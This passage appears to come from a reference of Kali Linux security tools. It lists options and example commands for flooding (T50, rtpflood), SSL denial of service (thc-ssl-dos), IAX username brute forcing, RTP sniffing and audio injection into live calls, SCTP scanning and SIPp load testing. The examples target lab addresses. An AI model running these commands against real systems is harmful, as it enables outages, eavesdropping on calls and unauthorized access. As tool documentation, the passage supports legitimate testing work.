   --rsvp-ttl NUM           RSVP time to live               (default 254)
   --rsvp-session-addr ADDR  RSVP SESSION destination address (default RANDOM)
   --rsvp-session-proto NUM  RSVP SESSION protocol ID       (default 1)
   --rsvp-session-flags NUM  RSVP SESSION flags             (default 1)
   --rsvp-session-port NUM   RSVP SESSION destination port  (default RANDOM)
   --rsvp-hop-addr ADDR     RSVP HOP neighbor address       (default RANDOM)
   --rsvp-hop-iface NUM     RSVP HOP logical interface      (default RANDOM)
   --rsvp-time-refresh NUM   RSVP TIME refresh interval     (default 360)
   --rsvp-error-addr ADDR   RSVP ERROR node address         (default RANDOM)
   --rsvp-error-flags NUM   RSVP ERROR flags                (default 2)
   --rsvp-error-code NUM    RSVP ERROR code                 (default 2)
   --rsvp-error-value NUM   RSVP ERROR value                (default 8)
   --rsvp-scope NUM         RSVP SCOPE # of address(es)     (default 1)
   --rsvp-address ADDR,...  RSVP SCOPE address(es)          (default RANDOM)
   --rsvp-style-option NUM  RSVP STYLE option vector        (default 18)
   --rsvp-sender-addr ADDR  RSVP SENDER TEMPLATE address    (default RANDOM)
   --rsvp-sender-port NUM   RSVP SENDER TEMPLATE port       (default RANDOM)
   --rsvp-tspec-traffic     RSVP TSPEC service traffic      (default OFF)
   --rsvp-tspec-guaranteed  RSVP TSPEC service guaranteed   (default OFF)
   --rsvp-tspec-r NUM       RSVP TSPEC token bucket rate    (default RANDOM)
   --rsvp-tspec-b NUM       RSVP TSPEC token bucket size    (default RANDOM)
   --rsvp-tspec-p NUM       RSVP TSPEC peak data rate       (default RANDOM)
   --rsvp-tspec-m NUM       RSVP TSPEC minimum policed unit  (default RANDOM)
   --rsvp-tspec-M NUM       RSVP TSPEC maximum packet size  (default RANDOM)
   --rsvp-adspec-ishop NUM  RSVP ADSPEC IS HOP count        (default RANDOM)
   --rsvp-adspec-path NUM   RSVP ADSPEC path b/w estimate   (default RANDOM)
   --rsvp-adspec-m NUM      RSVP ADSPEC minimum path latency (default RANDOM)
   --rsvp-adspec-mtu NUM    RSVP ADSPEC composed MTU        (default RANDOM)
   --rsvp-adspec-guaranteed  RSVP ADSPEC service guaranteed  (default OFF)
   --rsvp-adspec-Ctot NUM   RSVP ADSPEC ETE composed value C (default RANDOM)
   --rsvp-adspec-Dtot NUM   RSVP ADSPEC ETE composed value D (default RANDOM)
```

```
    --rsvp-adspec-Csum NUM    RSVP ADSPEC SLR point composed C (default RANDOM)
    --rsvp-adspec-Dsum NUM    RSVP ADSPEC SLR point composed D (default RANDOM)
    --rsvp-adspec-controlled  RSVP ADSPEC service controlled   (default OFF)
    --rsvp-confirm-addr ADDR  RSVP CONFIRM receiver address    (default RANDOM)
IPSEC Options:
    --ipsec-ah-length NUM     IPSec AH header length           (default NONE)
    --ipsec-ah-spi NUM        IPSec AH SPI                     (default RANDOM)
    --ipsec-ah-sequence NUM   IPSec AH sequence #              (default RANDOM)
    --ipsec-esp-spi NUM       IPSec ESP SPI                    (default RANDOM)
    --ipsec-esp-sequence NUM  IPSec ESP sequence #             (default RANDOM)
EIGRP Options:
    --eigrp-opcode NUM        EIGRP opcode                     (default 1)
    --eigrp-flags NUM         EIGRP flags                      (default RANDOM)
    --eigrp-sequence NUM      EIGRP sequence #                 (default RANDOM)
    --eigrp-acknowledge NUM   EIGRP acknowledgment #           (default RANDOM)
    --eigrp-as NUM            EIGRP autonomous system          (default RANDOM)
    --eigrp-type NUM          EIGRP type                       (default 258)
    --eigrp-length NUM        EIGRP length                     (default NONE)
    --eigrp-k1 NUM            EIGRP parameter K1 value         (default 1)
    --eigrp-k2 NUM            EIGRP parameter K2 value         (default 0)
    --eigrp-k3 NUM            EIGRP parameter K3 value         (default 1)
    --eigrp-k4 NUM            EIGRP parameter K4 value         (default 0)
    --eigrp-k5 NUM            EIGRP parameter K5 value         (default 0)
    --eigrp-hold NUM          EIGRP parameter hold time        (default 360)
    --eigrp-ios-ver NUM.NUM   EIGRP IOS release version        (default 12.4)
    --eigrp-rel-ver NUM.NUM   EIGRP PROTO release version      (default 1.2)
    --eigrp-next-hop ADDR     EIGRP [in|ex]ternal next-hop     (default RANDOM)
    --eigrp-delay NUM         EIGRP [in|ex]ternal delay        (default RANDOM)
    --eigrp-bandwidth NUM     EIGRP [in|ex]ternal bandwidth    (default RANDOM)
    --eigrp-mtu NUM           EIGRP [in|ex]ternal MTU          (default 1500)
    --eigrp-hop-count NUM     EIGRP [in|ex]ternal hop count    (default RANDOM)
    --eigrp-load NUM          EIGRP [in|ex]ternal load         (default RANDOM)
    --eigrp-reliability NUM   EIGRP [in|ex]ternal reliability  (default RANDOM)
    --eigrp-daddr ADDR/CIDR   EIGRP [in|ex]ternal address(es)  (default RANDOM)
    --eigrp-src-router ADDR   EIGRP external source router     (default RANDOM)
    --eigrp-src-as NUM        EIGRP external autonomous system (default RANDOM)
    --eigrp-tag NUM           EIGRP external arbitrary tag     (default RANDOM)
    --eigrp-proto-metric NUM  EIGRP external protocol metric   (default RANDOM)
    --eigrp-proto-id NUM      EIGRP external protocol ID       (default 2)
    --eigrp-ext-flags NUM     EIGRP external flags             (default RANDOM)
    --eigrp-address ADDR      EIGRP multicast sequence address (default RANDOM)
    --eigrp-multicast NUM     EIGRP multicast sequence #       (default RANDOM)
    --eigrp-authentication    EIGRP authentication included    (default OFF)
    --eigrp-auth-key-id NUM   EIGRP authentication key ID      (default 1)
OSPF Options:
    --ospf-type NUM           OSPF type                        (default 1)
    --ospf-length NUM         OSPF length                      (default NONE)
    --ospf-router-id ADDR     OSPF router ID                   (default RANDOM)
    --ospf-area-id ADDR       OSPF area ID                     (default 0.0.0.0)
 -1,--ospf-option-MT          OSPF multi-topology / TOS-based  (default RANDOM)
 -2,--ospf-option-E           OSPF external routing capability (default RANDOM)
 -3,--ospf-option-MC          OSPF multicast capable           (default RANDOM)
 -4,--ospf-option-NP          OSPF NSSA supported              (default RANDOM)
 -5,--ospf-option-L           OSPF LLS data block contained    (default RANDOM)
 -6,--ospf-option-DC          OSPF demand circuits supported   (default RANDOM)
 -7,--ospf-option-O           OSPF Opaque-LSA                  (default RANDOM)
 -8,--ospf-option-DN          OSPF DOWN bit                    (default RANDOM)
    --ospf-netmask ADDR       OSPF router subnet mask          (default RANDOM)
    --ospf-hello-interval NUM OSPF HELLO interval              (default RANDOM)
    --ospf-hello-priority NUM OSPF HELLO router priority       (default 1)
    --ospf-hello-dead NUM     OSPF HELLO router dead interval  (default 360)
```

```
   --ospf-hello-design ADDR  OSPF HELLO designated router     (default RANDOM)
   --ospf-hello-backup ADDR  OSPF HELLO backup designated     (default RANDOM)
   --ospf-neighbor NUM       OSPF HELLO # of neighbor(s)      (default NONE)
   --ospf-address ADDR,...   OSPF HELLO neighbor address(es)  (default RANDOM)
   --ospf-dd-mtu NUM         OSPF DD MTU                      (default 1500)
   --ospf-dd-dbdesc-MS       OSPF DD master/slave bit option  (default RANDOM)
   --ospf-dd-dbdesc-M        OSPF DD more bit option          (default RANDOM)
   --ospf-dd-dbdesc-I        OSPF DD init bit option          (default RANDOM)
   --ospf-dd-dbdesc-R        OSPF DD out-of-band resync       (default RANDOM)
   --ospf-dd-sequence NUM    OSPF DD sequence #               (default RANDOM)
   --ospf-dd-include-lsa     OSPF DD include LSA header       (default OFF)
   --ospf-lsa-age NUM        OSPF LSA age                     (default 360)
   --ospf-lsa-do-not-age     OSPF LSA do not age              (default OFF)
   --ospf-lsa-type NUM       OSPF LSA type                    (default 1)
   --ospf-lsa-id ADDR        OSPF LSA ID address              (default RANDOM)
   --ospf-lsa-router ADDR    OSPF LSA advertising router      (default RANDOM)
   --ospf-lsa-sequence NUM   OSPF LSA sequence #              (default RANDOM)
   --ospf-lsa-metric NUM     OSPF LSA metric                  (default RANDOM)
   --ospf-lsa-flag-B         OSPF Router-LSA border router    (default RANDOM)
   --ospf-lsa-flag-E         OSPF Router-LSA external router  (default RANDOM)
   --ospf-lsa-flag-V         OSPF Router-LSA virtual router   (default RANDOM)
   --ospf-lsa-flag-W         OSPF Router-LSA wild router      (default RANDOM)
   --ospf-lsa-flag-NT        OSPF Router-LSA NSSA translation (default RANDOM)
   --ospf-lsa-link-id ADDR   OSPF Router-LSA link ID          (default RANDOM)
   --ospf-lsa-link-data ADDR OSPF Router-LSA link data        (default RANDOM)
   --ospf-lsa-link-type NUM  OSPF Router-LSA link type        (default 1)
   --ospf-lsa-attached ADDR  OSPF Network-LSA attached router (default RANDOM)
   --ospf-lsa-larger         OSPF ASBR/NSSA-LSA ext. larger   (default OFF)
   --ospf-lsa-forward ADDR   OSPF ASBR/NSSA-LSA forward       (default RANDOM)
   --ospf-lsa-external ADDR  OSPF ASBR/NSSA-LSA external      (default RANDOM)
   --ospf-vertex-router      OSPF Group-LSA type router       (default RANDOM)
   --ospf-vertex-network     OSPF Group-LSA type network      (default RANDOM)
   --ospf-vertex-id ADDR     OSPF Group-LSA vertex ID         (default RANDOM)
   --ospf-lls-extended-LR    OSPF LLS Extended option LR      (default OFF)
   --ospf-lls-extended-RS    OSPF LLS Extended option RS      (default OFF)
   --ospf-authentication     OSPF authentication included     (default OFF)
   --ospf-auth-key-id NUM    OSPF authentication key ID       (default 1)
   --ospf-auth-sequence NUM  OSPF authentication sequence #   (default RANDOM)
Some considerations while running this program:
 1. There is no limitation of using as many options as possible.
 2. Report T50 bugs at http://t50.sf.net.
 3. Some header fields with default values MUST be set to '0' for RANDOM.
 4. Mandatory arguments to long options are mandatory for short options too.
 5. Be nice when using T50, the author DENIES its use for DoS/DDoS purposes.
 6. Running T50 with '--protocol T50' option, sends ALL protocols sequentially.
```

Run a default flood test (–flood) against the destination IP (192.168.1.1):

```
# t50 --flood 192.168.1.1
entering in flood mode...
hit CTRL+C to break.
T50 5.4.1-rc1 successfully launched on May 17th 2014 10:48:51
```

thc-ssl-dos - https://www.thc.org/thc-ssl-dos/

verify the performance of SSL. Establishing a secure SSL connection requires 15x more processing power on the server than on the client. THC-SSL-DOS exploits this asymmetric property by overloading the server and knocking it off the Internet. This problem affects all SSL implementations today. The vendors are aware of this problem since 2003 and the topic has been widely discussed. This attack further exploits the SSL secure Renegotiation feature to trigger thousands of renegotiations via single TCP connection.

```
./thc-ssl-dos [options] <ip> <port>
-l <n>  Limit parallel connections [default: 400]
```

Using 100 connections (-l 100), flood the target IP (192.168.1.208) and port (443):

thc-ssl-dos -l 100 192.168.1.208 443 --accept

VoIP Tools

enumiax - http://enumiax.sourceforge.net/
Inter Asterisk Exchange protocol username brute-force enumerator. enumIAX may operate in two distinct modes;
Sequential Username Guessing or Dictionary Attack
enumiax [options] target
options:
-d <dict> Dictionary attack using <dict> file
-i <count> Interval for auto-save (# of operations, default 1000)
-m # Minimum username length (in characters)
-M # Maximum username length (in characters)
-r # Rate-limit calls (in microseconds)
-s <file> Read session state from state file
-v Increase verbosity (repeat for additional verbosity)
-V Print version information and exit
-h Print help/usage information and exit

Run a dictionary attack (-d /usr/share/wordlists/metasploit/unix_users.txt) against the target host (192.168.1.1):
root@kali:~# enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.1

iaxflood - see previous entry
inviteflood - see previous entry
ohrwurm - see previous entry

protos-sip - https://www.ee.oulu.fi/research/ouspg/PROTOS_Test-Suite_c07-sip
Evaluate implementation level security and robustness of Session Initiation Protocol (SIP) implementations

protos-sip [[OPTIONS] | -touri <SIP-URI>]

-touri <addr> Recipient of the request
Example: <addr> : you@there.com
-fromuri <addr> Initiator of the request
Default: user@kali
-sendto <domain> Send packets to <domain> instead of
domainname of -touri
-callid <callid> Call id to start test-case call ids from
Default: 0
-dport <port> Portnumber to send packets on host.
Default: 5060
-lport <port> Local portnumber to send packets from
Default: 5060
-delay <ms> Time to wait before sending new test-case
Defaults to 100 ms (milliseconds)
-replywait <ms> Maximum time to wait for host to reply
Defaults to 100 ms (milliseconds)
-file <file> Send file <file> instead of test-case(s)
-help Display this help
-jarfile <file> Get data from an alternate bugcat
JAR-file <file>
-showreply Show received packets
-showsent Show sent packets
-teardown Send CANCEL/ACK
-single <index> Inject a single test-case <index>
-start <index> Inject test-cases starting from <index>
-stop <index> Stop test-case injection to <index>
-maxpdusize <int> Maximum PDU size
Default to 65507 bytes
-validcase Send valid case (case #0) after each

test-case and wait for a response. May
be used to check if the target is still
responding. Default: off

rtpbreak - http://dallachiesa.com/
Detect, reconstruct and analyze any RTP session. It doesn't require the presence of RTCP packets and works independently form the used signaling protocol (SIP, H.323, SCCP, …). The input is a sequence of packets, the output is a set of files you can use as input for other tools (wireshark/tshark, sox, grep/awk/cut/ cat/sed, …). It supports also wireless (AP_DLT_IEEE802_11) networks.

reconstruct any RTP stream with an unknown or unsupported signaling protocol
reconstruct any RTP stream in wireless networks, while doing channel hopping (VoIP activity detector)
reconstruct and decode any RTP stream in batch mode (with sox, asterisk, …)
reconstruct any already existing RTP stream
reorder the packets of any RTP stream for later analysis (with tshark, wireshark, …)
build a tiny wireless VoIP tapping system in a single chip Linux unit
build a complete VoIP tapping system (rtpbreak would be just the RTP dissector module!)

```
rtpbreak (-r|-i) <source> [options]
 INPUT
  -r <str>      Read packets from pcap file <str>
  -i <str>      Read packets from network interface <str>
  -L <int>      Force datalink header length == <int> bytes
 OUTPUT
  -d <str>      Set output directory to <str> (def:.)
  -w            Disable RTP raw dumps
  -W            Disable RTP pcap dumps
  -g            Fill gaps in RTP raw dumps (caused by lost packets)
  -n            Dump noise packets
  -f            Disable stdout logging
  -F            Enable syslog logging
  -v            Be verbose
 SELECT
  -m            Sniff packets in promisc mode
  -p <str>      Add pcap filter <str>
  -e            Expect even destination UDP port
  -u            Expect unprivileged source/destination UDP ports (>1024)
  -y <int>      Expect RTP payload type == <int>
  -l <int>      Expect RTP payload length == <int> bytes
  -t <float>    Set packet timeout to <float> seconds (def:10.00)
  -T <float>    Set pattern timeout to <float> seconds (def:0.25)
  -P <int>      Set pattern packets count to <int> (def:5)
 EXECUTION
  -Z <str>      Run as user <str>
  -D            Run in background (option -f implicit)
 MISC
  -k            List known RTP payload types
  -h            This
```

Usage Example
Analyze RTP traffic using interface eth0 (-i eth0), fill in gaps (-g), sniff in promiscuous mode (-m), and save to the given directory (-d rtplog):

```
# rtpbreak -i eth0 -g -m -d rtplog
 + rtpbreak v1.3a running here!
 + pid: 10951, date/time: 17/05/2014#13:40:02
 + Configuration
   + INPUT
     Packet source: iface 'eth0'
     Force datalink header length: disabled
   + OUTPUT
     Output directory: 'rtplog'
```

RTP raw dumps: enabled
RTP pcap dumps: enabled
Fill gaps: enabled
Dump noise: disabled
Logfile: 'rtplog/rtp.0.txt'
Logging to stdout: enabled
Logging to syslog: disabled
Be verbose: disabled
+ SELECT
Sniff packets in promisc mode: enabled
Add pcap filter: disabled
Expecting even destination UDP port: disabled
Expecting unprivileged source/destination UDP ports: disabled
Expecting RTP payload type: any
Expecting RTP payload length: any
Packet timeout: 10.00 seconds
Pattern timeout: 0.25 seconds
Pattern packets: 5
+ EXECUTION
Running as user/group: root/root
Running daemonized: disabled
* You can dump stats sending me a SIGUSR2 signal
* Reading packets...

rtpflood - http://www.hackingvoip.com/sec_tools.html
rtpflood sourcename destinationname srcport destport numpackets seqno timestamp SSID

Flood from the source IP (192.168.1.202) to the target IP (192.168.1.1) with source port 5060 (5060) and destination port 5061 (5061) using 1000 packets (1000) with the specified sequence number (3), timestamp (123456789), and SSID (kali):
rtpflood 192.168.1.202 192.168.1.1 5060 5061 1000 3 123456789 kali

Will flood port 5061 from port 5060 1000 times
Using sequence_number 3 timestamp 123456789 SSID 0
We have IP_HDRINCL
Number of Packets sent:
Sent 289 160 286

rtpinsertsoundinsert audio into a specified audio (i.e. RTP) stream
http://www.hackingvoip.com/sec_tools.html
Mandatory -
pathname of file whose audio is to be mixed into the targeted live audio stream. If the file extension is .wav, then the file must be a standard Microsoft RIFF formatted WAVE file meeting these constraints:
1) header 'chunks' must be in one of two sequences:
RIFF, fmt, fact, data
or
RIFF, fmt, data
2) Compression Code = 1 (PCM/Uncompressed)
3) Number of Channels = 1 (mono)
4) Sample Rate (Hz) = 8000
5) Significant Bits/Sample =
signed, linear 16-bit or
unsigned, linear 8-bit
If the file name does not specify a .wav extension, then the file is presumed to be a tcpdump formatted file with a sequence of, exclusively, G.711 u-law RTP/UDP/IP/ETHERNET messages Note: Yep, the format is referred to as 'tcpdump' even though this file must contain udp messages
Optional -
-a source RTP IPv4 addr
-A source RTP port
-b destination RTP IPv4 addr
-B destination RTP port

-f spoof factor - amount by which to:
a) increment the RTP hdr sequence number obtained from the ith legitimate packet to produce the RTP hdr sequence number for the ith spoofed packet
b) multiply the RTP payload length and add that product to the RTP hdr timestamp obtained from the ith legitimate packet to produce the RTP hdr timestamp for the ith spoofed packet
c) increment the IP hdr ID number obtained from the ith legitimate packet to produce the IP hdr ID number for the ith spoofed packet
[range: +/- 1000, default: 2]
-i interface (e.g. eth0)
-j jitter factor - the reception of a legitimate RTP packet in the target audio stream enables the output of the next spoofed packet. This factor determines when that spoofed packet is actually transmitted. The factor relates how close to the next legitimate packet you'd actually like the enabled spoofed packet to be transmitted. For example, -j 10 means 10% of the codec's transmission interval. If the transmission interval = 20,000 usec (i.e. G.711), then delay the output of the spoofed RTP packet until the time-of-day is within 2000 usec (i.e. 10%) of the time the next legitimate RTP packet is expected. In other words, delay 100% minus the jitter factor, or 18,000 usec in this example. The smaller the jitter factor, the greater the risk you run of not outputting the current spoofed packet before the next legitimate RTP packet is received. Therefore, a factor > 10 is advised.
[range: 0 - 80, default: 80 = output spoof ASAP]
-p seconds to pause between setup and injection
-h help - print this usage
-v verbose output mode

Note: If you are running the tool from a host with multiple ethernet interfaces which are up, be forewarned that the order those interfaces appear in your route table and the networks accessible from those interfaces might compel Linux to output spoofed audio packets to an interface different than the one stipulated by you on command line. This should not affect the tool unless those spoofed packets arrive back at the host through the interface you have specified on the command line (e.g. the interfaces have connectivity through a hub).

Usage Example
Insert an audio file (/usr/share/rtpinsertsound/stapler.wav) through the network and use verbose output (-v):
rtpinsertsound /usr/share/rtpinsertsound/stapler.wav -v
Targeting interface eth0
libfindrtp_find_rtp(): using pcap filter "ip".

rtpmixsound - http://www.hackingvoip.com/sec_tools.html
Works much the same as rtpinsertsound (see above)

sctpscan - http://www.p1sec.com/corp/research/tools/sctpscan/
SCTPscan is a tool to scan SCTP enabled machines. Typically, these are Telecom oriented machines carrying SS7 and SIGTRAN over IP. Using SCTPscan, you can find entry points to Telecom networks. This is especially useful when doing pentests on Telecom Core Network infrastructures. SCTP is also used in high-performance networks (internet2).

sctpscan [options]
Options:
-p, --port <port> (default: 10000)
port specifies the remote port number
-P, --loc_port <port> (default: 10000)
port specifies the local port number
-l, --loc_host <loc_host> (default: 127.0.0.1)
loc_host specifies the local (bind) host for the SCTP
stream with optional local port number
-r, --rem_host <rem_host> (default: 127.0.0.2)
rem_host specifies the remote (sendto) address for the SCTP
stream with optional remote port number
-s --scan -r aaa[.bbb[.ccc]]
scan all machines within network
-m --map
map all SCTP ports from 0 to 65535 (portscan)
-F --Frequent
Portscans the frequently used SCTP ports

Frequent SCTP ports: 1, 7, 9, 20, 21, 22, 80, 100, 128, 179, 260, 250, 443, 1167, 1812, 2097, 2000, 2001, 2010, 2011, 2020, 2021, 2100, 2110, 2120, 2225, 2427, 2477, 2577, 2904, 2905, 2906, 2907, 2908, 2909, 2944, 2945, 3000, 3097, 3565, 3740, 3863, 3864, 3868, 4000, 4739, 4740, 5000, 5001, 5060, 5061, 5090, 5091, 5672, 5675, 6000, 6100, 6110, 6120, 6130, 6140, 6150, 6160, 6170, 6180, 6190, 6529, 6700, 6701, 6702, 6789, 6790, 7000, 7001, 7102, 7103, 7105, 7551, 7626, 7701, 7800, 8000, 8001, 8471, 8787, 9006, 9084, 9899, 9911, 9900, 9901, 9902, 10000, 10001, 11146, 11997, 11998, 11999, 12205, 12235, 13000, 13001, 14000, 14001, 20049, 29118, 29168, 30000, 32905, 32931, 32768

-a --autoportscan
Portscans automatically any host with SCTP aware TCP/IP stack
-i --linein
Receive IP to scan from stdin
-f --fuzz
Fuzz test all the remote protocol stack
-B --bothpackets
Send packets with INIT chunk for one, and SHUTDOWN_ACK for the other
-b --both_checksum
Send both checksum: new crc32 and old legacy-driven adler32
-C --crc32
Calculate checksums with the new crc32
-A --adler32
Calculate checksums with the old adler32
-Z --zombie
Does not collaborate to the SCTP Collaboration platform. No reporting.
-d --dummyserver
Starts a dummy SCTP server on port 10000. You can then try to scan it from another machine.
-E --exec <script_name>
Executes <script_name> each time an open SCTP port is found.
Execution arguments: <script_name> host_ip sctp_port
-t --tcpbridge <listen TCP port>
Bridges all connection from <listen TCP port> to remote designated SCTP port.
-S --streams <number of streams>
Tries to establish SCTP association with the specified <number of streams> to remote designated SCTP destination.

Scan port 9999 on 192.168.1.24
./sctpscan -l 192.168.1.2 -r 192.168.1.24 -p 9999
Scans for availability of SCTP on 172.17.8.* and portscan any host with SCTP stack
./sctpscan -s -l 172.22.1.96 -r 172.17.8
Scans frequently used ports on 172.17.8.*
./sctpscan -s -F -l 172.22.1.96 -r 172.17.8
Scans all class-B network for frequent port
./sctpscan -s -F -r 172.22 -l `ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | cut -d ' ' -f 1 `
Simple verification end to end on the local machine:
./sctpscan -d &
./sctpscan -s -l 192.168.1.24 -r 192.168.1 -p 10000

This tool does NOT work behind most NAT.
That means that most of the routers / firewall don't know how to NAT SCTP packets.
You _need_ to use this tool from a computer having a public IP address (i.e. non-RFC1918)
sctpscan Usage Example

Scan (-s) for frequently used ports (-F) on the remote network (-r 192.168.1.*):
root@kali:~# sctpscan -s -F -r 192.168.1.*
SCTPscan - Copyright (C) 2002 - 2009 Philippe Langlois.
Netscanning with Crc32 checksumed packet
Portscanning Frequent Ports on 192.168.1.*.

siparmyknife - see previous entry

SIPp - http://sipp.sourceforge.net/ - Traffic generator for the SIP protocol
http://sipp.sourceforge.net/doc/reference.html

It includes a few basic SipStone user agent scenarios (UAC and UAS) and establishes and releases multiple calls with the INVITE and BYE methods. It can also reads custom XML scenario files describing from very simple to complex call flows. It features the dynamic display of statistics about running tests (call rate, round trip delay, and message statistics), periodic CSV statistics dumps, TCP and UDP over multiple sockets or multiplexed with retransmission management and dynamically adjustable call rates.

Other advanced features include support of IPv6, TLS, SCTP, SIP authentication, conditional scenarios, UDP retransmissions, error robustness (call timeout, protocol defense), call specific variable, Posix regular expression to extract and re-inject any protocol fields, custom actions (log, system command exec, call stop) on message receive, field injection from external CSV file to emulate live users.

SIPp can also send media (RTP) traffic through RTP echo and RTP / pcap replay. Media can be audio or video.

While optimized for traffic, stress and performance testing, SIPp can be used to run one single call and exit, providing a passed/failed verdict.

Last, but not least, SIPp has a comprehensive documentation available both in HTML and PDF format.

SIPp can be used to test various real SIP equipment like SIP proxies, B2BUAs, SIP media servers, SIP/x gateways, SIP PBX, … It is also very useful to emulate thousands of user agents calling your SIP system

```
 sipp remote_host[:remote_port] [options]

 Available options:
  -v              : Display version and copyright information.
  -aa             : Enable automatic 200 OK answer for INFO, UPDATE and
                    NOTIFY messages.
  -auth_uri       : Force the value of the URI for authentication.
                    By default, the URI is composed of
                    remote_ip:remote_port.
  -au             : Set authorization username for authentication challenges.
                    Default is taken from -s argument
  -ap             : Set the password for authentication challenges. Default
                    is 'password'
  -base_cseq      : Start value of [cseq] for each call.
  -bg             : Launch SIPp in background mode.
  -bind_local     : Bind socket to local IP address, i.e. the local IP
                    address is used as the source IP address.  If SIPp runs
                    in server mode it will only listen on the local IP
                    address instead of all IP addresses.
  -buff_size      : Set the send and receive buffer size.
  -calldebug_file : Set the name of the call debug file.
  -calldebug_overwrite: Overwrite the call debug file (default true).
  -cid_str        : Call ID string (default %u-%p@%s).  %u=call_number,
                    %s=ip_address, %p=process_number, %%=% (in any order).
  -ci             : Set the local control IP address
  -cp             : Set the local control port number. Default is 8888.
  -d              : Controls the length of calls. More precisely, this
                    controls the duration of 'pause' instructions in the
                    scenario, if they do not have a 'milliseconds' section.
                    Default value is 0 and default unit is milliseconds.
  -deadcall_wait  : How long the Call-ID and final status of calls should be
                    kept to improve message and error logs (default unit is
                    ms).
  -default_behaviors: Set the default behaviors that SIPp will use.  Possbile
                    values are:
                    - all Use all default behaviors
                    - none    Use no default behaviors
                    - bye Send byes for aborted calls
                    - abortunexp  Abort calls on unexpected messages
                    - pingreply   Reply to ping requests
```

```
                If a behavior is prefaced with a -, then it is turned
                off.  Example: all,-bye
-error_file      : Set the name of the error log file.
-error_overwrite : Overwrite the error log file (default true).
-f               : Set the statistics report frequency on screen. Default is
                1 and default unit is seconds.
-fd              : Set the statistics dump log report frequency. Default is
                60 and default unit is seconds.
-i               : Set the local IP address for 'Contact:','Via:', and
                'From:' headers. Default is primary host IP address.
-inf             : Inject values from an external CSV file during calls into
                the scenarios.
                First line of this file say whether the data is to be
                read in sequence (SEQUENTIAL), random (RANDOM), or user
                (USER) order.
                Each line corresponds to one call and has one or more
                ';' delimited data fields. Those fields can be referred
                as [field0], [field1], ... in the xml scenario file.
                Several CSV files can be used simultaneously (syntax:
                -inf f1.csv -inf f2.csv ...)
-infindex        : file field
                Create an index of file using field.  For example -inf
                users.csv -infindex users.csv 0 creates an index on the
                first key.
-ip_field        : Set which field from the injection file contains the IP
                address from which the client will send its messages.
                If this option is omitted and the '-t ui' option is
                present, then field 0 is assumed.
                Use this option together with '-t ui'
-l               : Set the maximum number of simultaneous calls. Once this
                limit is reached, traffic is decreased until the number
                of open calls goes down. Default:
                  (3 * call_duration (s) * rate).
-log_file        : Set the name of the log actions log file.
-log_overwrite   : Overwrite the log actions log file (default true).
-lost            : Set the number of packets to lose by default (scenario
                specifications override this value).
-rtcheck         : Select the retransmisison detection method: full
                (default) or loose.
-m               : Stop the test and exit when 'calls' calls are processed
-mi              : Set the local media IP address (default: local primary
                host IP address)
-master          : 3pcc extended mode: indicates the master number
-max_recv_loops  : Set the maximum number of messages received read per
                cycle. Increase this value for high traffic level.  The
                default value is 1000.
-max_sched_loops : Set the maximum number of calsl run per event loop.
                Increase this value for high traffic level.  The default
                value is 1000.
-max_reconnect   : Set the the maximum number of reconnection.
-max_retrans     : Maximum number of UDP retransmissions before call ends on
                timeout.  Default is 5 for INVITE transactions and 7 for
                others.
-max_invite_retrans: Maximum number of UDP retransmissions for invite
                transactions before call ends on timeout.
-max_non_invite_retrans: Maximum number of UDP retransmissions for non-invite
                transactions before call ends on timeout.
-max_log_size    : What is the limit for error and message log file sizes.
-max_socket      : Set the max number of sockets to open simultaneously.
                This option is significant if you use one socket per
                call. Once this limit is reached, traffic is distributed
```

over the sockets already opened. Default value is 50000
-mb : Set the RTP echo buffer size (default: 2048).
-message_file : Set the name of the message log file.
-message_overwrite: Overwrite the message log file (default true).
-mp : Set the local RTP echo port number. Default is 6000.
-nd : No Default. Disable all default behavior of SIPp which
are the following:
- On UDP retransmission timeout, abort the call by
sending a BYE or a CANCEL
- On receive timeout with no ontimeout attribute, abort
the call by sending a BYE or a CANCEL
- On unexpected BYE send a 200 OK and close the call
- On unexpected CANCEL send a 200 OK and close the call
- On unexpected PING send a 200 OK and continue the call
- On any other unexpected message, abort the call by
sending a BYE or a CANCEL
-nr : Disable retransmission in UDP mode.
-nostdin : Disable stdin.
-p : Set the local port number. Default is a random free port
chosen by the system.
-pause_msg_ign : Ignore the messages received during a pause defined in
the scenario
-periodic_rtd : Reset response time partition counters each logging
interval.
-plugin : Load a plugin.
-r : Set the call rate (in calls per seconds). This value can
bechanged during test by pressing '+','_','*' or '/'.
Default is 10.
pressing '+' key to increase call rate by 1 *
rate_scale,
pressing '-' key to decrease call rate by 1 *
rate_scale,
pressing '*' key to increase call rate by 10 *
rate_scale,
pressing '/' key to decrease call rate by 10 *
rate_scale.
If the -rp option is used, the call rate is calculated
with the period in ms given by the user.
-rp : Specify the rate period for the call rate. Default is 1
second and default unit is milliseconds. This allows
you to have n calls every m milliseconds (by using -r n
-rp m).
Example: -r 7 -rp 2000 ==> 7 calls every 2 seconds.
-r 10 -rp 5s => 10 calls every 5 seconds.
-rate_scale : Control the units for the '+', '-', '*', and '/' keys.
-rate_increase : Specify the rate increase every -fd units (default is
seconds). This allows you to increase the load for each
independent logging period.
Example: -rate_increase 10 -fd 10s
==> increase calls by 10 every 10 seconds.
-rate_max : If -rate_increase is set, then quit after the rate
reaches this value.
Example: -rate_increase 10 -rate_max 100
==> increase calls by 10 until 100 cps is hit.
-no_rate_quit : If -rate_increase is set, do not quit after the rate
reaches -rate_max.
-recv_timeout : Global receive timeout. Default unit is milliseconds. If
the expected message is not received, the call times out
and is aborted.
-send_timeout : Global send timeout. Default unit is milliseconds. If a
message is not sent (due to congestion), the call times

```
                out and is aborted.
-sleep          : How long to sleep for at startup. Default unit is
                seconds.
-reconnect_close : Should calls be closed on reconnect?
-reconnect_sleep : How long (in milliseconds) to sleep between the close and
                reconnect?
-ringbuffer_files: How many error/message files should be kept after
                rotation?
-ringbuffer_size : How large should error/message files be before they get
                rotated?
-rsa            : Set the remote sending address to host:port for sending
                the messages.
-rtp_echo       : Enable RTP echo. RTP/UDP packets received on port defined
                by -mp are echoed to their sender.
                RTP/UDP packets coming on this port + 2 are also echoed
                to their sender (used for sound and video echo).
-rtt_freq       : freq is mandatory. Dump response times every freq calls
                in the log file defined by -trace_rtt. Default value is
                200.
-s              : Set the username part of the resquest URI. Default is
                'service'.
-sd             : Dumps a default scenario (embeded in the sipp executable)
-sf             : Loads an alternate xml scenario file.  To learn more
                about XML scenario syntax, use the -sd option to dump
                embedded scenarios. They contain all the necessary help.
-shortmessage_file: Set the name of the short message log file.
-shortmessage_overwrite: Overwrite the short message log file (default true).
-oocsf          : Load out-of-call scenario.
